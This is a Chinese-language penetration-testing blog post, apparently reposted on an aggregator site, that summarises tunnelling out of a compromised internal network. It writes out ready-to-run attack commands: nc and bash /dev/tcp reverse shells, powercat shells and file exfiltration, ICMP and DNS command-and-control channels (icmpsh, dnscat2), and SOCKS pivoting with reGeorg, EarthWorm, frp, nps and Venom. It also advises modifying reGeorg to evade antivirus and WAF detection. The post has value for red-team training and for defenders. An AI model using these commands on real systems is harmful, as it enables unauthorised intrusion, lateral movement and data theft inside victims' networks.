内网安全学习从入门到入狱-知识-内网隧道技术小结
文章目錄
- 0x00 內網穿透技術
- 0x01 首先判斷出網協議
- 0x02 各種協議隧道
- 網絡層
- ICMP隧道
- Lcx
- 傳輸層
- 瑞士軍刀:nc
- Powercat(powershell版的nc)
- 推薦:netsh端口轉發(window平臺)
- 應用層
- SSH轉發:
- SSH 本地轉發機制:
- SSH 遠程轉發機制:
- SSH 動態轉發機制:
- HTTP HTTPS協議隧道
- DNS 隧道:
- Socks代理:
- 推薦使用
- Nps
- ew
- Frp
- Venom
- 0x03 總結
0x00 內網穿透技術
當我們拿到一臺內網主機后,一般都是有區域隔離的。
所以內網隧道技術,就是我們必須要掌握的。
我簡單介紹一下建立通信隧道,常見的有端口轉發等
主要隧道有:
ICMP TCP UDP
SSH HTTP DNS
SOCKS
0x01 首先判斷出網協議
icmp協議:
ping 命令 ping www.baidu.comTCP協議:
curl www.baidu.com nc IPHTTP協議:
curl ip:port curl www.baidu.com:80DNS協議:
Nslookup www.baidu.com Dig www.baidu.com0x02 各種協議隧道
網絡層
ICMP隧道
ICMP(Internet Control Message Protocol):沒有目的端口與源端口,屬于Internet控制報文協議。它是TCP/IP協議簇的一個子協議,用于在IP主機、路由器之間傳遞控制消息。控制消息是指網絡通不通、主機是否可達、路由是否可用等網絡本身的消息。
icmp隧道常用攻擊:icmpsh、PRISM
icmpsh
環境說明:跨平臺、不需要管理員運行
有三臺機器: VPS–邊界機–內網機
VPS操作過程:
下載icmpsh
安裝依賴
服務端禁用: icmp respones sysctl -w net.ipv4.icmp_echo_ignore_all=1運行程序 : ./run.sh輸入目標主機IP地址 開啟監聽: ./icmpsh_m,py vpsip 邊界出網的公網IP在邊界機執行: Imp.exe -t 攻擊機ip -d 500 -b 30 -s 128還有一種方法
編譯 gcc icmpsh-m.cVPS開啟監聽: sudo ./a.out內網邊界主機:icmpsh.exe -t VPSip -d 500 -b 30 -s 128Lcx
內網端口轉發
老工具了也是
目標主機:lcx.exe -slave vpsip 4444 127.0.0.1 3389VPS:Lcx --listen 4444 5555傳輸層
瑞士軍刀:nc
nc 是一款比較老的工具,但是確實是經典俗稱瑞士軍刀,簡單介紹一下
簡單互相傳輸功能:
vps:nc -lp 5555 目標機器:Nc -vn vpsip 5555文件傳輸功能:
vps:nc -lp 5555 >1.txt目標機器:Nc -vn vpsip < xx.txtshell的反彈:
正向連接:nc -lvp 4444 -e /bin/shnc 192.168.1.1 4444反向連接:nc -lvp 4444nc 192.168.1.1 4444 -e /bin/sh注意:windows版本CMD位置
C:\windows\system32\cmd.exe
Bash反向shell
nc -lvp 4444Bash -i >& /dev/tcp/192.168.1.1/4444 0>&1Powercat(powershell版的nc)
正向和反向連接:powercat -l -p 8080 -e cmd.exe -v nc 192.168.1.1 8080 -vvnc -l -p 8080 -vv powercat -c 192.169.1.1 -p 8080 -e cmd.exe -v可以反彈powershell
-eq文件上傳
這個不用說,基本這種連接的都支持
在c:下新建一個test.txt的文件,寫入數據
在有text.txt的機器執行:
powercat -c 192.168.12.108 -p 9999 -i c:test.txt -v另一臺機器執行
powercat -l -p 9999 -of c:test.txt -v推薦:netsh端口轉發(window平臺)
netsh僅支持TCP協議, 適用于雙網卡服務器
查看系統防火墻狀態 netsh firewall show state 查看現有規則 netsh interface portproxy show all 添加轉發規則 listenaddress – 等待連接的本地IP地址 listenport – 本地偵聽TCP端口 connectaddress – 將傳入連接重定向到本地或遠程IP地址(或DNS名稱)netsh interface portproxy set v4tov4 listenaddress=邊界機 listenport=6666 connectaddress=內網IP connectport=3389#連接邊界機6666端口,就是連接到內網目標上面的3389使用netstat確保6666端口當前處于被偵聽狀態: netstat -ano刪除轉發規則 netsh interface portproxy delete v4tov4 listenport=6666應用層
SSH轉發:
一個正常的SSH命令
ssh root@192.168.1.1SSH 本地轉發機制:
拓撲:
VPS----邊界WEB----目標主機
邊界WEB雙網卡192.168.1.1和10.1.1.1段
本地轉發機制:
選項:
-C 壓縮傳輸 -f 后臺啟用 -N 不打開遠程shell,處于等待狀態 -g 允許本地轉發端口使用方法:
在VPS上運行
ssh -CfNg -L <vps port>:<目標主機 host>:<目標主機 port> <SSH 邊界機>ssh -CfNg -l 5555:10.1.1.1:3389 root@192.168.1.1 #VPS檢查---查看端口是否已經連接 netstat -tulnp | grep "5555"當訪問 VPS 5555 端口的時候,就轉發給 root@192.168.1.1 邊界機 ,發送給目標主機
SSH 遠程轉發機制:
拓撲:
VPS----邊界WEB----目標主機
邊界WEB----目標主機—都是單網卡,都是純內網 10.1.1.1段
在WEB邊界機運行
ssh -CfNg -R <vps port>:<目標主機 host>:<目標主機 port> <SSH VPS主機>ssh -CfNg -l 6666:10.1.1.1:3389 root@49.121.1.102邊界機把內網的端口,遠程連接道VPS,遠程轉發道VPS
SSH 動態轉發機制:
這里主要是建立一個動態的socks代理隧道
在VPS上運行
ssh -CfNg -D 7000 <SSH 邊界主機> ssh -CfNg -D 7000 root@192.168.1.1VPS上7000端口上,開了一個socks代理,用代理軟件就可以連接
HTTP HTTPS協議隧道
將對應的腳本文件上傳到目標服務器,根據不同的網站類型php jsp asp等,上傳對應的腳本 reGeorg.php
攻擊機(VPS)運行:
python reGeorgSocksProxy.py -l 46.46.46.46(VPS的IP) -p 666(VPS端口) -u http://(目標服務器IP)/reGeorg.php然后在本地通過代理工具鏈接本地的666,就是鏈接好隧道了
注意:這個查殺比較嚴重,建議會免殺的修改修改。
非常遺憾的是,目前大部分WAF都會針對默認原裝版本的reGeorg 。(可以自己修改后使用)
2.Neo-reGeorg
這里推薦用 Neo-reGeorg 這個也不錯,是重構reGeorg 的一個作品
https://github.com/L-codes/Neo-reGeorg
用法類似:
VPS上支持生成的服務端,默認 GET 請求響應指定的頁面內容 (如偽裝的404頁面)
$ python neoreg.py generate -k <you_password> --file 404.html將相應的隧道文件放到目標服務器的web目錄后使用neoreg連接web服務器并建立本地socks代理。
VPS上運行
$ python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080(本地代理地址)Socks連接工具連接本地127.0.0.1:1080
DNS 隧道:
dnscat2
工具dnscat2,這是一DNS隧道,該工具旨在通過DNS協議創建加密的命令和控制(C&C)通道,還有自己的控制臺
dnscat2分為兩個部分:客戶端和服務器。
服務端為Ruby編寫,需安裝Ruby環境。kali系統內置Ruby,但是運行時仍可能報缺少一些gem依賴:
服務端VPS:
安裝依賴: apt install gem apt install ruby-dev apt install libpq-dev apt install ruby-bundler下載并安裝: git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server sudo gem install bundler開啟服務: ruby ./dnscat2.rb vpn.zeo.com -e open目標主機客戶端:
上傳dnsClient.zip 到目標主機 解壓
./dnscat --dns server=服務端ip,port=53 --secret=服務端生成的秘鑰直連模式使用方法:
VPS中 server路徑下: ruby ./dnscat2客戶端:(這個命令會在 上面服務啟動后提示,可以參考下面的截圖紅框) ./dnscat --dns server=x.x.x.x,port=53 --secret=281fc7a7ec57d500d269c96b8ae36ba5 常用命令: window -i 1 進入交互 exec -c "ping baidu.com" 執行命令, 無回顯 shell 返回一個半交互shell,會有一個id,記錄此id ctrl+Z 返回Socks代理:
下面基本上都是可以支持多種協議,之介紹scoks的情況,大家可以自己查看使用方法
也推薦使用這些工具
nps: https://github.com/ehang-io/nps
**ew:**https://github.com/idlefire/ew
frp: https://github.com/fatedier/frp
推薦使用
Nps
nps是一款輕量級、高性能、功能強大的內網穿透代理服務器。
(https://github.com/ehang-io/nps)
優點:
- 協議支持全面,兼容幾乎所有常用協議,例如tcp、udp、http(s)、socks5、p2p、http代理…
- 全平臺兼容(linux、windows、macos、群輝等),支持一鍵安裝為系統服務
- 操作簡單,只需簡單的配置即可在web ui上完成其余操作
- 展示信息全面,流量、系統信息、即時帶寬、客戶端版本等
- 擴展功能強大,該有的都有了(緩存、壓縮、加密、流量限制、帶寬限制、端口復用等等)
環境說明:
kali邊界機: 192.168.5.123 192.168.3.2
kali2: 192.168.5.128 攻擊者vps機器
win7:192.168.3.99 內網機器
1 啟動服務端
vim ./conf/nps.conf cd .. ./nps. #啟動服務在服務端配置conf/nps.conf文件,修改用戶名密碼,端口號后啟動服務,最好不要和已有的端口沖突
默認端口 nps默認配置文件使用了80,443,8080,8024端口80與443端口為域名解析模式默認端口8080為web管理訪問端口8024為網橋端口,用于客戶端與服務器通信以上都可以在服務端配置conf/nps.conf 自行修改直接訪問自己設計的web端口 http://IP:8081/login/index
友好的操作界面!
2 新增一個客戶端,在配置中填寫socks代理的密碼
3 記住唯一驗證密鑰和ID,連接使用
4 客戶端連接,上傳npc到邊界機
npc.exe -server=服務端ip:8024 -vkey=生成的vkey -type=tcp成功上線,點擊隧道配置代理
新建隧道,協議很全
這個界面十分友好,就不繼續介紹,基本看一眼就會用了。
ew
EarthWorm是一款用于開啟 SOCKS v5 代理服務的工具,可以用于多層的內網穿透
多層內網穿透可以去GitHub查找
VPS開啟監聽: ./ew_for_linux64 -s rcsocks -l 1080 -e 1024邊界機執行: ew_for_Win.exe -s rssocks -d 攻擊Ip -e 1024多層內網二層網絡,A無外網 IP–vps 流量轉發 +B 正向代理 +A作為跳板端口綁定
VPS–邊界機(可以出網)–內網機(目標網絡內部主機,無法訪問公網)
VPS: ./ew -s lcx_listen -l 1080 -e 8888 邊界機器: ew -s lcx_slave -d VPS_IP -e 666 -f 內網主機 -g 9999 內網: ew -s sscoksd -l 9999VPS將1080的代理請求轉發到8888
在邊界機上,通過工具的 lcx_slave 方式,打通VPS:8888 和 內網機:9999 之間的通訊隧道
在內網主機上利用 ssocksd 方式啟動 9999 代理
我們是可通過訪問VPS:1080 來使用內網主機提供的 socks5 代理
Frp
- frp 是一個可用于內網穿透的高性能的反向代理應用
- 支持 tcp, udp 協議,為 http 和 https
將 frps 及 frps.ini 放到具有公網 IP 的機器上。
將 frpc 及 frpc.ini 放到處于內網環境的機器上。
首先在vps上啟動frp服務端,開啟一個端口,默認是7000:
./frps -c frps.ini再配置frp的客戶端:
注意:上面的配置了用戶名密碼 root root 代理的時候注意要加上
最后兩個配置是 use_encryption = true \\啟用加密 use_compression = true \\啟用壓縮啟動 frpc:
frpc.exe -c ./frpc.ini最后,使用代理軟件連接服務端的8881建立連接
Venom
Venom是一款為滲透測試人員設計的使用Go開發的多級代理工具
admin節點和agent節點均可監聽連接也可發起連接,可以互相的連接。
admin監聽端口,agent發起連接:
./admin_linux_x64 -lport 8838agent.exe -rhost VPS_IP -rport 8838連接成功后出現交互界面 admin node help一下看到功能
help Help information.exit Exit.show Display network topology.getdes View description of the target node.setdes [info] Add a description to the target node.goto [id] Select id as the target node.listen [lport] Listen on a port on the target node.connect [rhost] [rport] Connect to a new node through the target node.sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel.shell Start an interactive shell on the target node.upload [local_file] [remote_file] Upload files to the target node.download [remote_file] [local_file] Download files from the target node.socks [lport] Start a socks5 server.lforward [lhost] [sport] [dport] Forward a local sport to a remote dport.rforward [rhost] [sport] [dport] Forward a remote sport to a local dport. 先show 看下拓撲 goto 1 #選擇目標1 socks 8886 #在vps上 8886端口上開啟代理有意思的是這個還能出一個shell,也挺方便
0x03 總結
內網穿透的東西還是比較重要的,內網斷網機常常都得用隧道,所以小結一下,選擇的時候最好要有較好的穩定性,支持多種協議,流量可加密,推薦使用最后推薦的幾種工具,如果只是端口轉發推薦netsh和SSH轉發較為穩定。
總結
以上是生活随笔為你收集整理的内网安全学习从入门到入狱-知识-内网隧道技术小结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 电子书厂商集体炮轰盛大 阵营模式分歧初现
- 下一篇: 用树莓派构建家庭智能家居控制中心